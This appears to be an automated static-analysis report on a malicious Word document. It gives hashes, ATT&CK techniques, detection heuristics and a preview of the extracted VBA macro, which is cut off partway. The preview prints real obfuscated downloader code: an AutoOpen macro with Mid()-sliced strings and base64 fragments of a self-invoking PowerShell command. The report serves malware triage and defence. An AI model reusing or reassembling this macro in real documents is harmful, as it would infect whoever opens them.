Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18cd7c4473f8e8c2…

MALICIOUS

Office (OLE)

78.5 KB Created: 2017-10-23 18:06:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: d1e8dbf6e796ce960825bca515e0bd0f SHA-1: d5bd102f0a1766d4f3a14c66ca2534838ac87889 SHA-256: 18cd7c4473f8e8c28618eb68aa6b3661599f89437f3c9ddbb3bdb0365ac78de5
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of an AutoOpen macro that utilizes the Shell() function, a common technique for executing arbitrary commands. This strongly suggests the macro is designed to download and execute a second-stage payload. The ClamAV detection name further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15110 bytes
SHA-256: 457da7cc3c32340e1fc2d42fdb9323579d9cd41ec473190c8b7a0eb3bafb775a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 44 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function bcujkBTLM()
XWjtOjHiUC = "YMRK2OWZIX08O9WGoiSimdiGGPvplDrdsJqEOQPlNqCqVjZwTMNiiiblwBZdESrzdrTUwKEXShVwankZpwVYqNvNiEFMqmjuwDMiMEzIHpLBIiKKRznGwTIQvFmsFrPGJ41FXU25"
XVDSnILzE = Mid(XWjtOjHiUC, 17, 110)
hjuPoBdWo = XVDSnILzE
idMjXPZl = "WVGUC5MFIwwqlpliiDkjmwwwSMOVCRzdlHbGDouKkVsEBbaWQzMPmpJHbfWnFGQUzTEiNiftJazRDswqlsEDFjqwwTiXRGFiFYFhWwJmUSFMqrEjijCNBNOPdIjtAHcDVULimPTTFL1SCXXXDVHCKI644"
UGvWrCWa = Mid(idMjXPZl, 10, 126)
OrYdtDKwt = UGvWrCWa
TiUwzz = "QWN8G624ZRW5AYF3AJIU2FCCHqlPzkhMfTYNQmJQDSrDYGqiRhnjYKDHCSXMqcSvTAjSwFPmVViYZZYtACwPzBnUQQLzOwabzvkYaYkMRAKCffhdudMniCzSMLChuSXZvDYdoATbSl11SLZXDC9YPSP"
shirblLwEUA = Mid(TiUwzz, 26, 113)
wNSotFGu = shirblLwEUA
NuApatrDWP = "8CWSJ0KRXOF8DuNnjcWIAwcQCtBwjpiNhnNaDcqDmrwMfwhZFUifZSziMiOdqBRXrpLQjnkHmSVIwPlFLctPLDnPpjNUNNNlaaVqlRsRjWtGwojzzIRNHBMnBwazZPtYFkiXuuUujbfoKhSACQXEvzdYOiporvsUcUBLGJDCoXdfVXcUdZuIspdFGJILFjDojLLqfGutNUQYVwSXKQCLKL0UF"
aqEhzdtEp = Mid(NuApatrDWP, 13, 194)
FEuicLQjsfj = aqEhzdtEp
wJjVajLAD = "9NRA1Z3PVDDrFVKRA5DSVIRQTPC3YCWPN3QGS83HPLS"
VIXsa = Mid(wJjVajLAD, 11, 7)
YYCUHY = VIXsa
rdWrDDFD = "69MVCR2QXL0P5LZOG53OQ2U8QJBIbGoSpwBwtjUYAIPTkzJqYmBuvWaUlhLZWmcpVAnGbhnpzvznGNfTzKkoEtWSXjKLUuBOjazjJDPqwMwAXnOYBsaMBnkcdVjvWcVDtlHjPvKwvtqswWvkSlJbUpMtqVFnUTUWrtGmfiJGidQIzrfHQNXL51PN"
XuqfbYIi = Mid(rdWrDDFD, 25, 152)
CVqcaIGwMp = XuqfbYIi
GhCOzR = "BJPbYTBDQIEkcDtqZDwwqwNUqjEwJCNRsQQLAojdqcqRusIOzsiVRrDqJHlpPCtOvmsLmiplTSHNHvawbpzRXrAANZCtHHRFC8H1Y1NXYBH53QW22SNXFTEEGJI4O"
XwpjG = Mid(GhCOzR, 4, 89)
TEFwqW = XwpjG
almKL = "KY71RKW2281IcMrzKlnGNppvrBjhPjYbRTIuFwZKCnaVsXiWRtIhJUqYVKvdBiKVsOqIEzuMLcEaOUCTXNQVXqSzcjYuDvJTcEdihVSUzwWjQW5P6N3GHTGB8V"
TVpPCjjCw = Mid(almKL, 12, 98)
oPXbAdvdYR = TVpPCjjCw
GwqJluErUzG = "HVOXNHA6F2MAEazdkStjEYNptpWc4PX2421J77L0"
lKjNTQslqPl = Mid(GwqJluErUzG, 14, 15)
EaSNiSwqCD = lKjNTQslqPl
DEKbqN = "63WL3U5BEjjAawXaGNkwMQACuFDtuvrwawfuwiGSHDPIiAhjnjKmDHjCINBAjwKwpiZcSciYHSrJArXtYWGKlEvSOdmjjGjJtTSwbEOLFmfkQaCQqCYM69KO5IEM"
AQvit = Mid(DEKbqN, 10, 104)
UEdQDw = AQvit
End Function
Function UCiYwauCq()
tSjfk = "F9HSRYYC9H7YGMR0FA0MK0NQZRZB4GDQALAAgADEAMAAxACwAOQA3ACwAMQAwADcAIAAsADUAOQAgACwAMQAyADUALAA5ADkALAA5ADcAIAAsADEAMQA2ACAALAA5ADkALAAxADAANAAsADEAMgAzACAALAAgADEAMQA5ACwAIAAxADEANAAsACAAMQAwADUALAAxADEANgAgACwAIAAxADAAMQAsACAANAA1ACwAIAAxADAANAAgACwAIAAxADEAMQAsACAAMQAxADUAIAAsACAAMQAxADYAIAAsADMAMgAsADMANgLI"
bTsOKuoa = Mid(tSjfk, 31, 277)
cuWwMhDFaU = bTsOKuoa
jnIYvVuV = "ADN64IGA3NQA5ACAALAAxADIANQAgACwAIAAxADIANQAgACkAIAB8AGYAbwByAEUAQQBDAEgAewAoAFsAYwBoAEEAUgBdAFsASQBOAFQAXQAkAF8AKQAgAH0AIAApAHwALgAoACAAJABFAG4AdgA6AEMAbwBtAHMAUABFAEMAWwA0ACwAMQA1ACwAMgA1AF0ALQBKAG8ASQBOACcAJwApAA==QD02MPMHGA"
MGKUwXDMzz = Mid(jnIYvVuV, 10, 208)
cjqCztfFvAW = MGKUwXDMzz
poZqp = "PE0J3EBDNPQPGPPE6PLLAAgADQANwAgACwANAA0ACAALAAgADEAMAA0ACAALAAgADEAMQA2ACwAMQAxADYALAAxADEAMgAsADUAOAAsADQANwAsADQANwAgACwAMQAxADQALAAgADEAMQA3ACwAIAA5ADgALAAgADEAMAAxACwAIAAxADEAMAAgACwAMQAxADUALAAxADEAMTKICK2M"
WhEGvFcK = Mid(poZqp, 20, 185)
mdBjLmLWNJ = WhEGvFcK
DzUtJnsZJ = "6WZXWFK94EMF1LWGLgAsADkAOQAsADEAMgAyACAALAA0ADcAIAAsADEAMAAzACAALAAgADQANwAsACAANAA0ACA8D70BTC0EPHEV9"
VVPBuv = Mid(DzUtJnsZJ, 18, 70)
vtaYdq = VVPBuv
jGouLzddsFu = "717CDMQA0ACwAMQAwADgALAAgADMAMgAsADEAMAA1ACwAIAAxADEAMAAgACwAMwAyACwAIAAzADYALAAgADEAMQA3ACwAIAAxADEANAAsACAAMQAwADgALAAgADEAMQA1ACwAIAA0ADEAIAAsADEAMgAzACwAIAAxADEANgAgACwAIAAxADEANAAsADEAMgAxACwAIAAxADIAMwAgACwAMwA2ACwAMQAxADkALAAxADAAMQAsACAAOQA4ACwAOQA5ACAALAAgADEAMAA4AI5H26M"
UEjYkHaJ = Mid(jGouLzddsFu, 6, 269)
UkQMIGo = UEjYkHaJ
iMVXhDtoG = "1Q1J8CFAAMQAgACwAIAAxADEANQAsADEAMQA1ACAALAAgADMAMgAsADMANgAgACwAMQAxADIAIAAsADkANwAsACAAMQAxADYAIAAsACAAMQAwADQAIAAsADUAOQAsADkAOAAsACAAMQAxAN9U6WNEH5ILNMINO"
XpXUZtTE = Mid(iMVXhDtoG, 8, 135)
zwrnQnHMGCv = XpXUZtTE
alFkM
... (truncated)

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